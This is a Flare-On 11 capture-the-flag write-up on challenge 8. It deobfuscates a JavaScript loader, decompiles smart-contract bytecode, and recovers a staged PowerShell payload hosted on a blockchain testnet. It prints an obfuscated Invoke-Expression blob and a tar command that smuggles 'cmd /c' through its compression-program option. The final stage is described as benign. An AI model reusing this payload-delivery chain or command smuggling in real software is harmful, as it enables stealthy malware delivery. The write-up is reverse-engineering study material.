Flare-On 11 Writeup: Challenge 8 - Abusing Blockchains to Deliver (Malicious) Payloads
2024-11-09

Blockchains has been abused by threat actors to deliver malicious payloads due to the decentralized nature, which makes it harder to monitor and regulate. This challenge highlights the need for enhanced security measures within blockchains ecosystems. I also tried to include some related resources in this blogs if you are new to Ethereum blockchains and want to read further.
Stage 1 - Deofuscating JavaScript
The challenge presents players with an obfuscated JavaScript as follows:
There are many open-source projects for JavaScript deobfuscation. There are also online tools that help you quickly obtain a clean output code. My favorite are de4js and deobfuscate.io. In this case, de4js works better and produces a clean deobfuscated script:
const Web3 = require("web3");
const fs = require("fs");
const web3 = new Web3("BINANCE_TESTNET_RPC_URL");
const contractAddress = "0x9223f0630c598a200f99c5d4746531d10319a569";
async function callContractFunction(inputString) {
try {
const methodId = "0x5684cff5";
const encodedData = methodId + web3.eth.abi.encodeParameters(["string"], [inputString]).slice(2);
const result = await web3.eth.call({
to: contractAddress,
data: encodedData
});
const largeString = web3.eth.abi.decodeParameter("string", result);
const targetAddress = Buffer.from(largeString, "base64").toString("utf-8");
const filePath = "decoded_output.txt";
fs.writeFileSync(filePath, "$address = " + targetAddress + "\n");
const new_methodId = "0x5c880fcb";
const blockNumber = 43152014;
const newEncodedData = new_methodId + web3.eth.abi.encodeParameters(["address"], [targetAddress]).slice(2);
const newData = await web3.eth.call({
to: contractAddress,
data: newEncodedData
}, blockNumber);
const decodedData = web3.eth.abi.decodeParameter("string", newData);
const base64DecodedData = Buffer.from(decodedData, "base64").toString("utf-8");
fs.writeFileSync(filePath, decodedData);
console.log(`Saved decoded data to:${filePath}`)
} catch (error) {
console.error("Error calling contract function:", error)
}
}
const inputString = "KEY_CHECK_VALUE";
callContractFunction(inputString);
The script uses web3.eth.abi library to interact with the blockchains. It calls a function with the method id 0x5684cff5
(Which is testStr(string)) from the contract at the address: 0x9223f0630c598a200f99c5d4746531d10319a569
on Binace Testnet RPC. The string "KEY_CHECK_VALUE"
needs to be replaced by an expected value before passing to the contract method.
The output from the first contract function call will be interpreted as a target address and used as an input to the second function call. The second method ID, 0x5c880fcb
, is against the specific blockchain number 43152014
, and the output is expected to be Base64-encoded.
This is just a hypothesis of what the script would execute if it were not broken. Since the script cannot be executed, I moved on to investigate the contract 0x9223f0630c598a200f99c5d4746531d10319a569
on BNB Smart Chain Testnet Explorer.
Stage2 - Reversing and Decompiling The Ethereum Virtual Machine (EVM) Bytecode
I obtained the bytecode of the contract from this link. The creator did not publish the source code of the contract, so it needs to be reversed or decompiled. EVM bytecode is not too complicated and you can refer to all opcodes here. I also found this handy online tool EVM Playground that allowed me to emulate EVM bytecode and understand the internal workings of EVM.
2.1 Decompiling EVM Bytecode
There are many available EVM decompilers, but many of them failed to decompile the bytecode of the contract in this challenge. Dedaub is able to decompile successfully:
function fallback() public payable {
revert();
}
function testStr(string str) public payable {
require(4 + (msg.data.length - 4) - 4 >= 32);
require(str <= uint64.max);
require(4 + str + 31 < 4 + (msg.data.length - 4));
require(str.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
v0 = new bytes[](str.length);
require(!((v0 + ((str.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max) | (v0 + ((str.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0)), Panic(65)); // failed memory allocation (too much memory)
require(str.data + str.length <= 4 + (msg.data.length - 4));
CALLDATACOPY(v0.data, str.data, str.length);
v0[str.length] = 0;
if (v0.length == 17) {
require(0 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
v1 = v0.data;
if (bytes1(v0[0] >> 248 << 248) == 0x6700000000000000000000000000000000000000000000000000000000000000) {
require(1 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[1] >> 248 << 248) == 0x6900000000000000000000000000000000000000000000000000000000000000) {
require(2 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[2] >> 248 << 248) == 0x5600000000000000000000000000000000000000000000000000000000000000) {
require(3 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[3] >> 248 << 248) == 0x3300000000000000000000000000000000000000000000000000000000000000) {
require(4 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[4] >> 248 << 248) == 0x5f00000000000000000000000000000000000000000000000000000000000000) {
require(5 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[5] >> 248 << 248) == 0x4d00000000000000000000000000000000000000000000000000000000000000) {
require(6 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[6] >> 248 << 248) == 0x3300000000000000000000000000000000000000000000000000000000000000) {
require(7 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[7] >> 248 << 248) == 0x5f00000000000000000000000000000000000000000000000000000000000000) {
require(8 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[8] >> 248 << 248) == 0x7000000000000000000000000000000000000000000000000000000000000000) {
require(9 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[9] >> 248 << 248) == 0x3400000000000000000000000000000000000000000000000000000000000000) {
require(10 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[10] >> 248 << 248) == 0x7900000000000000000000000000000000000000000000000000000000000000) {
require(11 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[11] >> 248 << 248) == 0x4c00000000000000000000000000000000000000000000000000000000000000) {
require(12 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[12] >> 248 << 248) == 0x3000000000000000000000000000000000000000000000000000000000000000) {
require(13 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[13] >> 248 << 248) == 0x3400000000000000000000000000000000000000000000000000000000000000) {
require(14 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[14] >> 248 << 248) == 0x6400000000000000000000000000000000000000000000000000000000000000) {
require(15 < v0.length, Panic(50)); // access an out-of-bounds or negative index of bytesN array or slice
if (bytes1(v0[15] >> 248 << 248) == 0x2100000000000000000000000000000000000000000000000000000000000000) {
v2 = v3.data;
v4 = bytes20(0x5324eab94b236d4d1456edc574363b113cebf09d000000000000000000000000);
if (v3.length < 20) {
v4 = v5 = bytes20(v4);
}
v6 = v7 = v4 >> 96;
} else {
v6 = v8 = 0;
}
} else {
v6 = v9 = 0xce89026407fb4736190e26dcfd5aa10f03d90b5c;
}
} else {
v6 = v10 = 0x506dffbcdaf9fe309e2177b21ef999ef3b59ec5e;
}
} else {
v6 = v11 = 0x26b1822a8f013274213054a428bdbb6eba267eb9;
}
} else {
v6 = v12 = 0xf7fc7a6579afa75832b34abbcf35cb0793fce8cc;
}
} else {
v6 = v13 = 0x83c2cbf5454841000f7e43ab07a1b8dc46f1cec3;
}
} else {
v6 = v14 = 0x632fb8ee1953f179f2abd8b54bd31a0060fdca7e;
}
} else {
v6 = v15 = 0x3bd70e10d71c6e882e3c1809d26a310d793646eb;
}
} else {
v6 = v16 = 0xe2e3dd883af48600b875522c859fdd92cd8b4f54;
}
} else {
v6 = v17 = 0x4b9e3b307f05fe6f5796919a3ea548e85b96a8fe;
}
} else {
v6 = v18 = 0x6371b88cc8288527bc9dab7ec68671f69f0e0862;
}
} else {
v6 = v19 = 0x53fbb505c39c6d8eeb3db3ac3e73c073cd9876f8;
}
} else {
v6 = v20 = 0x84abec6eb54b659a802effc697cdc07b414acc4a;
}
} else {
v6 = v21 = 0x87b6cf4edf2d0e57d6f64d39ca2c07202ab7404c;
}
} else {
v6 = v22 = 0x53387f3321fd69d1e030bb921230dfb188826aff;
}
} else {
v6 = v23 = 0x40d3256eb0babe89f0ea54edaa398513136612f5;
}
} else {
v6 = v24 = 0x76d76ee8823de52a1a431884c2ca930c5e72bff3;
}
MEM[MEM[64]] = address(v6);
return address(v6);
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__( function_selector) public payable {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0x5684cff5 == function_selector >> 224) {
testStr(string);
}
}
fallback();
}
The method checks the input string and returns different addresses accordingly. If the input is giV3_M3_p4yL04d!!
, the method will return the address: 0x5324eab94b236d4d1456edc574363b113cebf09d
.
Again, I used Dedaub to decompile the newly discovered contract:
// Data structures and variables inferred from the use of storage instructions
string array_0; // STORAGE[0x0]
function 0x14a(bytes varg0) private {
require(msg.sender == address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d), Error('Only the owner can call this function.'));
require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
v0 = 0x483(array_0.length);
if (v0 > 31) {
v1 = v2 = array_0.data;
v1 = v3 = v2 + (varg0.length + 31 >> 5);
while (v1 >= v2 + (v0 + 31 >> 5)) {
STORAGE[v1] = STORAGE[v1] & 0x0 | uint256(0);
v1 = v1 + 1;
}
}
v4 = v5 = 32;
if (varg0.length > 31 == 1) {
v6 = array_0.data;
v7 = v8 = 0;
while (v7 >= varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) {
STORAGE[v6] = MEM[varg0 + v4];
v6 = v6 + 1;
v4 = v4 + 32;
v7 = v7 + 32;
}
if (varg0.length & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0 < varg0.length) {
STORAGE[v6] = MEM[varg0 + v4] & ~(uint256.max >> ((varg0.length & 0x1f) << 3));
}
array_0.length = (varg0.length << 1) + 1;
} else {
v9 = v10 = 0;
if (varg0.length) {
v9 = MEM[varg0.data];
}
array_0.length = v9 & ~(uint256.max >> (varg0.length << 3)) | varg0.length << 1;
}
return ;
}
function fallback() public payable {
revert();
}
function 0x5c880fcb() public payable {
v0 = 0x483(array_0.length);
v1 = new bytes[](v0);
v2 = v3 = v1.data;
v4 = 0x483(array_0.length);
if (v4) {
if (31 < v4) {
v5 = v6 = array_0.data;
do {
MEM[v2] = STORAGE[v5];
v5 += 1;
v2 += 32;
} while (v3 + v4 > v2);
} else {
MEM[v3] = array_0.length >> 8 << 8;
}
}
v7 = new bytes[](v1.length);
MCOPY(v7.data, v1.data, v1.length);
v7[v1.length] = 0;
return v7;
}
function 0x483(uint256 varg0) private {
v0 = v1 = varg0 >> 1;
if (!(varg0 & 0x1)) {
v0 = v2 = v1 & 0x7f;
}
require((varg0 & 0x1) - (v0 < 32), Panic(34)); // access to incorrectly encoded storage byte array
return v0;
}
function owner() public payable {
return address(0xab5bc6034e48c91f3029c4f1d9101636e740f04d);
}
function 0x916ed24b(bytes varg0) public payable {
require(4 + (msg.data.length - 4) - 4 >= 32);
require(varg0 <= uint64.max);
require(4 + varg0 + 31 < 4 + (msg.data.length - 4));
require(varg0.length <= uint64.max, Panic(65)); // failed memory allocation (too much memory)
v0 = new bytes[](varg0.length);
require(!((v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) > uint64.max) | (v0 + ((varg0.length + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) + 32 + 31 & 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0) < v0)), Panic(65)); // failed memory allocation (too much memory)
require(varg0.data + varg0.length <= 4 + (msg.data.length - 4));
CALLDATACOPY(v0.data, varg0.data, varg0.length);
v0[varg0.length] = 0;
0x14a(v0);
}
// Note: The function selector is not present in the original solidity code.
// However, we display it for the sake of completeness.
function __function_selector__( function_selector) public payable {
MEM[64] = 128;
require(!msg.value);
if (msg.data.length >= 4) {
if (0x5c880fcb == function_selector >> 224) {
0x5c880fcb();
} else if (0x8da5cb5b == function_selector >> 224) {
owner();
} else if (0x916ed24b == function_selector >> 224) {
0x916ed24b();
}
}
fallback();
}
Pay close attention to the method 0x5c880fcb
, which doesn’t need any input and will return data from the contract’s storage. This is the method ID appears in the JavaScript, therefore I guessed the return data possibly is the next stage payload.
2.2 An Attempt With IDA
This section is a bonus for you if you want to learn how to reverse EVM bytecode using IDA. It might be slower than using an available decompiler, but it is a good alternative in case the decompilers fail.
I utilized the IDA-EVM processor module. This module was written for IDA pro 7.x and using Python 2, so I made some adjustments to execute it on my newer version of IDA pro with Python 3. Below is the image of the outcome of the method 0x5684cff5
:
I found that the IDA processor couldn’t track the EVM stack to determine the JUMP address if it was pushed or calculated way before the JUMP instruction. There are jump destination addresses that were pushed onto the stack many blocks before it is used. I was able to extend the graph to reach the RETURN instruction at the end of the method:
This approach can be used to replace a decompiler in case the EVM code is highly obfuscated and it is failed to decompile.
Stage 3 - Fixing The Broken JavaScript
It is now time to get back to the JavaScript and fix it to get the next stage payload.
Digging a little deeper into the first contract address and the address obtained in stage 2, I determined that the block 43152014
belonged to the second contract: 0x5324eab94b236d4d1456edc574363b113cebf09d
. So it makes more sense to use this address as the contract address for the second function call. I went ahead and fixed the script to obtain the next stage payload:
const { Web3 } = require('web3');
const { fs } = require('fs');
const web3 = new Web3("https://data-seed-prebsc-1-s1.binance.org:8545/");
const contractAddress = "0x9223f0630c598a200f99c5d4746531d10319a569";
async function callContractFunction(inputString) {
try {
const methodId = "0x5684cff5";
const encodedData = methodId + web3.eth.abi.encodeParameters(["string"], [inputString]).slice(2);
const result = await web3.eth.call({
to: contractAddress,
data: encodedData
});
const decodedAddress = web3.eth.abi.decodeParameter('address', result);
console.log(`Returned address: ${decodedAddress}`);
const new_methodId = "0x5c880fcb";
const newEncodedData = new_methodId;
const newData = await web3.eth.call({
to: decodedAddress,
data: newEncodedData
});
const decodedData = web3.eth.abi.decodeParameter("string", newData);
const base64DecodedData = Buffer.from(decodedData, "base64").toString("utf-8");
console.log(`Obtained payload: \n${base64DecodedData}`)
} catch (error) {
console.error("Error calling contract function:", error)
}
}
const inputString = "giV3_M3_p4yL04d!!";
callContractFunction(inputString);
Execute the script above the obtain the next stage payload.
Stage 4 - Deobfuscating The PowerShell
The payload obtained is an obfuscated PowerShell script as follows:
invOKe-eXpREsSIon (NeW-OBJeCt SystEm.Io.StReaMREAdeR((NeW-OBJeCt Io.COMPRESsIOn.deflATestream( [sYSTeM.Io.memORyStREaM] [cONvErt]::fROmbAsE64StriNg('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' ) , [iO.compRESSION.CompREsSionMode]::dEcoMPrEss ) ) , [SyStEm.TEXt.EnCodINg]::asCII)).ReaDTOEND()
I deobfuscated the script to produce a clean, readable version of the code:
The script calls the method ID 0x5c880fcb
again, this time it performs the following steps in order:
- Converts the output hex string to bytes (string)
- Base64 decodes the string, which results in another hex string
- Convert the hex string to bytes and XOR with the key
FLAREON24
- Execute this command:
"tar -x --use-compress-program 'cmd /c echo $resultString > C:\\flag' -f C:\\flag"
Stage 5 - Connecting the Dots
At this stage, I’ve collected the following clues:
testStr("giV3_M3_p4yL04d!!")
- Contract address:
0x5324eab94b236d4d1456edc574363b113cebf09d
- The decryption operation of the Powershell script, which mentioned
flag
.
There is no concrete path forward from here, so I had to look around to find the possible paths. My goal was to find the data that can applied the same steps as applied by the PowerShell script.
I dug through the transaction’s inputs of the contract and applied the decryption steps used in the PowerShell to obtain the flag from the input of this transaction (Block number: 43148912
):
Input Data: 0x916ed24b000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000bd4d4467674e324d674d7a55674d4751674e7a59674d7a6b674e3251674e574d674e6d49674d4449674d574d674d544d674d546b674d5745674d6a59674e3249674e6d51674e6a41674d6d55674e3251674e7a51674d4751674e7a51674e324d674e3251674d4455674e6d49674e7a63674d6a49674d5755674d4455674d6a41674d6d51674e3251674e7a49674e5449674d6d45674d6d51674d7a4d674d7a63674e6a67674d6a41674d6a41674d574d674e5463674d6a6b674d6a453d3d000000
Decrypted flag:
The flag is: [email protected]
Thoughts
The delivered PowerShell in this challenge is non-malicious. However, this challenge is still a real demonstration of how blockchains can be abused to deliver (malicious) payloads. The challenge contained “broken” code in all stages and required me to use try and error at the last stage. At the same time, this challenge also forced me to learn more about Bock chain and EVM. I could see this challenge’s difficulty increased if the EVM code is obfuscated to fail the available decompilers.